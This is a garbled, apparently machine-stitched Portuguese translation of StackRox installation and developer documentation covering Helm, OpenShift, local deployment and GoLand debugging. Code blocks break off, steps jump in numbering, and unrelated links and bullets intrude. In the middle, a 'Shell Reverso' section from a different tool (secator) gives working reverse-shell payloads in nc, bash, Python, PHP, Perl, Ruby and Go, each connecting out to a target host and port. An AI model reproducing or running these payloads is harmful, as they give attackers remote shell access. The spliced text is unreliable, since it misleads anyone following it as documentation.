Para ver todos os gráficos Helm disponíveis no repositório, execute (você pode adicionar a opção `--devel` para mostrar também as versões não lançadas)```sh
helm search repo stackrox

A partir daqui, pode instalar o stackrox-central-services para obter os componentes Central e Scanner implantados no seu cluster.

> **Nota:**
> Precisa apenas de uma instância implantada do stackrox-central-services mesmo que planeie proteger vários clusters.

Para realizar a instalação, escolha um dos seguintes comandos dependendo do tamanho do seu cluster.

#### Instalação Padrão do Central

Se estiver a instalar num cluster de tamanho razoável, use o comando de instalação padrão:```sh
helm upgrade --install -n stackrox --create-namespace stackrox-central-services \
  stackrox/stackrox-central-services \
  --set central.adminPassword.value="${ROX_ADMIN_PASSWORD}" \
  --set central.persistence.none="true"

</details>

<details><summary>Instalar Serviços de Cluster Seguro do StackRox</summary>

Em seguida, o componente do cluster seguro precisará ser implantado para coletar informações dos nós do Kubernetes.

Defina um nome de cluster significativo para o seu cluster seguro na variável de shell `CLUSTER_NAME`. O cluster será identificado por este nome na lista de clusters do StackRox UI.```sh
CLUSTER_NAME="my-secured-cluster"

Gere um init bundle contendo segredos de inicialização. O init bundle será salvo em `stackrox-init-bundle.yaml`, e você o usará para provisionar clusters seguros conforme mostrado abaixo.```sh
echo "$ROX_ADMIN_PASSWORD" | \
kubectl -n stackrox exec -i deploy/central -- bash -c 'ROX_ADMIN_PASSWORD=$(cat) roxctl --insecure-skip-tls-verify \
  central init-bundles generate stackrox-init-bundle --output -' > stackrox-init-bundle.yaml

#### Instalação dos Serviços do Cluster Seguro em Clusters com Recursos Limitados

Se você estiver instalando em um cluster de nó único, ou a instalação padrão resultar em pods presos no estado pendente devido à falta de recursos, use o seguinte comando para reduzir os requisitos de recursos do stackrox-secured-cluster-services. Lembre-se de que essas configurações de recursos reduzidos não são adequadas para um ambiente de produção.```sh
helm upgrade --install -n stackrox --create-namespace stackrox-secured-cluster-services \
  stackrox/stackrox-secured-cluster-services \
  -f stackrox-init-bundle.yaml \
  --set clusterName="$CLUSTER_NAME" \
  --set centralEndpoint="$CENTRAL_ENDPOINT" \
  --set sensor.resources.requests.memory=500Mi \
  --set sensor.resources.requests.cpu=500m \
  --set sensor.resources.limits.memory=500Mi \
  --set sensor.resources.limits.cpu=500m

Após alguns minutos, todos os recursos devem ser implantados.

**As credenciais do usuário 'admin' podem ser encontradas no arquivo `./deploy/k8s/central-deploy/password`.**

> **Nota:**
> O arquivo de senha é armazenado em texto simples no seu sistema de arquivos local, mas o Segredo Kubernetes que o StackRox cria a partir dele é criptografado. Você não poderá alterar a senha em tempo de execução. Se perder a senha, terá que reimplantar o central.

</details>

#### OpenShift

<details><summary>Clique para Expandir</summary>

Antes de implantar no OpenShift, certifique-se de ter o [oc - Linha de Comando OpenShift](https://github.com/openshift/oc) instalado.

Siga o guia abaixo para implantar rapidamente uma versão específica do StackRox no seu cluster OpenShift no namespace `stackrox`. Certifique-se de adicionar a tag mais recente à variável `MAIN_IMAGE_TAG`.

Execute o seguinte no diretório de trabalho de sua escolha:```
git clone [email protected]:stackrox/stackrox.git
cd stackrox
MAIN_IMAGE_TAG=VERSION_TO_USE ./deploy/deploy.sh

Após alguns minutos, todos os recursos devem ser implantados.

**As credenciais do usuário 'admin' podem ser encontradas no arquivo `./deploy/k8s/deploy-local/password`.**

</details>

## Acessando a Interface de Usuário (UI) do StackRox

<details><summary>Clique para expandir</summary>

Após a conclusão da implantação (operador, Helm ou instalação via script) um port-forward deve existir, para que você possa conectar-se a https://localhost:8000/. Execute o seguinte```sh
kubectl port-forward -n 'stackrox' svc/central "8000:443"

Para mais informações, consulte <https://github.com/nodejs/node-gyp/issues/569>

</details>

#### Clonar StackRox
<details><summary>Clique para expandir</summary>```bash
# Create a GOPATH: this is the location of your Go "workspace".
# (Note that it is not – and must not – be the same as the path Go is installed to.)
# The default is to have it in ~/go/, or ~/development, but anything you prefer goes.
# Whatever you decide, create the directory, set GOPATH, and update PATH:
export GOPATH=$HOME/go # Change this if you choose to use a different workspace.
export PATH=$PATH:$GOPATH/bin
# You probably want to permanently set these by adding the following commands to your shell
# configuration (e.g. ~/.bash_profile)

cd $GOPATH
mkdir -p bin pkg
mkdir -p src/github.com/stackrox
cd src/github.com/stackrox
git clone [email protected]:stackrox/stackrox.git

Agora, você precisa subir um cluster Kubernetes *você mesmo* antes de prosseguir.
O desenvolvimento pode ocorrer no GCP ou localmente com
[Docker Desktop](https://docs.docker.com/desktop/kubernetes/), [Colima](https://github.com/abiosoft/colima#kubernetes), [minikube](https://minikube.sigs.k8s.io/docs/start/).

> **Nota:**
> O Docker Desktop e o Colima são mais adequados para desenvolvimento no macOS, pois o cluster terá acesso a imagens construídas com `make image` localmente sem configuração adicional. Além disso, o Collector tem melhor suporte para estes do que minikube onde os drivers podem não estar disponíveis.```bash
# To keep the StackRox Central's Postgres DB state between database upgrades and restarts, set:
$ export STORAGE=pvc

# To save time on rebuilds by skipping UI builds, set:
$ export SKIP_UI_BUILD=1

# To save time on rebuilds by skipping CLI builds, set:
$ export SKIP_CLI_BUILD=1

# When you deploy locally make sure your kube context points to the desired kubernetes cluster,
# for example Docker Desktop.
# To check the current context you can call a workflow script:
$ roxkubectx

# To deploy locally, call:
$ ./deploy/deploy-local.sh

# Now you can access StackRox dashboard at https://localhost:8000
# or simply call another workflow script:
$ logmein

</details>

#### Produtividade

<details><summary>Clique para expandir</summary>

O [repositório de workflow](https://github.com/stackrox/workflow) contém alguns scripts auxiliares
que dão suporte ao nosso fluxo de desenvolvimento. Explore mais comandos com `roxhelp --list-all`.```bash
# Change directory to rox root
$ cdrox

# Handy curl shortcut for your StackRox central instance
# Uses https://localhost:8000 by default or ROX_BASE_URL env variable
# Also uses the admin credentials from your last deployment via deploy.sh
$ roxcurl /v1/metadata

# Run quickstyle checks, faster than stackrox's "make style"
$ quickstyle

# The workflow repository includes some tools for supporting
# working with multiple inter-dependent branches.
# Examples:
$ smart-branch <branch-name>    # create new branch
    ... work on branch...
$ smart-rebase                  # rebase from parent branch
    ... continue working on branch...
$ smart-diff                    # check diff relative to parent branch
    ... git push, etc.

Com isso em execução em segundo plano, os testes `sql_integration` podem ser acionados a partir da IDE ou da linha de comando.

</details>

#### Depuração

<details><summary>Clique para expandir</summary>

**Configuração do depurador Kubernetes**

Com o GoLand, você pode usar naturalmente pontos de interrupção e o depurador ao executar testes unitários na IDE.

Se você deseja depurar uma implantação local ou até mesmo remota, siga o procedimento abaixo.

1. Crie uma compilação de depuração localmente exportando `DEBUG_BUILD=yes`:   ```bash
   $ DEBUG_BUILD=yes make image

4. Configure o GoLand para depuração remota (deve ser feito apenas uma vez):
 1. Abra `Run | Edit Configurations …`, clique no ícone `+` para adicionar uma nova configuração, escolha o modelo `Go Remote`.
 2. Escolha `Host:` `localhost` e `Port:` `40000`. Dê um nome a esta configuração.
 3. Selecione `On disconnect:` `Leave it running` (isso impede que o GoLand esqueça os pontos de interrupção ao reconectar).
5. Anexe o GoLand à porta de depuração: selecione `Run | Debug…` e escolha a configuração que você criou.
Se tudo foi feito corretamente, você verá a mensagem `Connected` na janela `Debug | Debugger | Variables` na parte inferior
da tela.
6. Defina alguns pontos de interrupção no código, acione as ações correspondentes e boa depuração!

Veja [Debugging go code running in Kubernetes](https://github.com/stackrox/dev-docs/blob/main/docs/knowledge-base/%5BBE%5D%20Debugging-go-code-running-in-Kubernetes.md) para
mais informações.
</details>

## Gerando Instaladores Portáteis

<details><summary>Kubernetes</summary>```bash
docker run -i --rm quay.io/stackrox-io/main:<tag> central generate interactive > k8s.zip

INPUT:```bash
bash k8s/central.sh

### Shell Reverso
O comando `secator` de shell reverso permite gerar um payload para enviar a um alvo e iniciar um ouvinte para conexões de entrada.

Você pode aplicar um `filtro` na saída para manter apenas entradas válidas. Para entender como os filtros funcionam, consulte a [seção de filtragem](#Filtering).

Configuração:

```json
{
   "name": "reverse_shell",
   "description": "Reverse shell commands",
   "tags": [
      "rev",
      "shell",
      "payload"
   ],
   "commands": {
      "nc": {
         "command": "nc {{target}} {{port}} -e /bin/bash",
         "listener": "nc -lvnp {{port}}"
      },
      "bash": {
         "command": "bash -i >& /dev/tcp/{{target}}/{{port}} 0>&1",
         "listener": "nc -lvnp {{port}}"
      },
      "py": {
         "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{{target}}\",{{port}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
         "listener": "nc -lvnp {{port}}"
      },
      "php": {
         "command": "php -r '$sock=fsockopen(\"{{target}}\",{{port}});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
         "listener": "nc -lvnp {{port}}"
      },
      "perl": {
         "command": "perl -e 'use Socket;$i=\"{{target}}\";$p={{port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
         "listener": "nc -lvnp {{port}}"
      },
      "ruby": {
         "command": "ruby -rsocket -e'f=TCPSocket.open(\"{{target}}\",{{port}}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
         "listener": "nc -lvnp {{port}}"
      },
      "go": {
         "command": "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"{{target}}:{{port}}\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go",
         "listener": "nc -lvnp {{port}}"
      }
   }
}

$ secator rev shell py

$ secator w rev_shell target
``````bash
docker run -i --rm quay.io/stackrox-io/main:<tag> central generate interactive > openshift.zip

- **Não repúdio**: Uso de assinaturas criptográficas para garantir que as ações possam ser rastreadas até um usuário específico.
- **Poucas contas e senhas**: Evite contas e senhas compartilhadas; cada usuário tem suas próprias credenciais.```bash
bash openshift/central.sh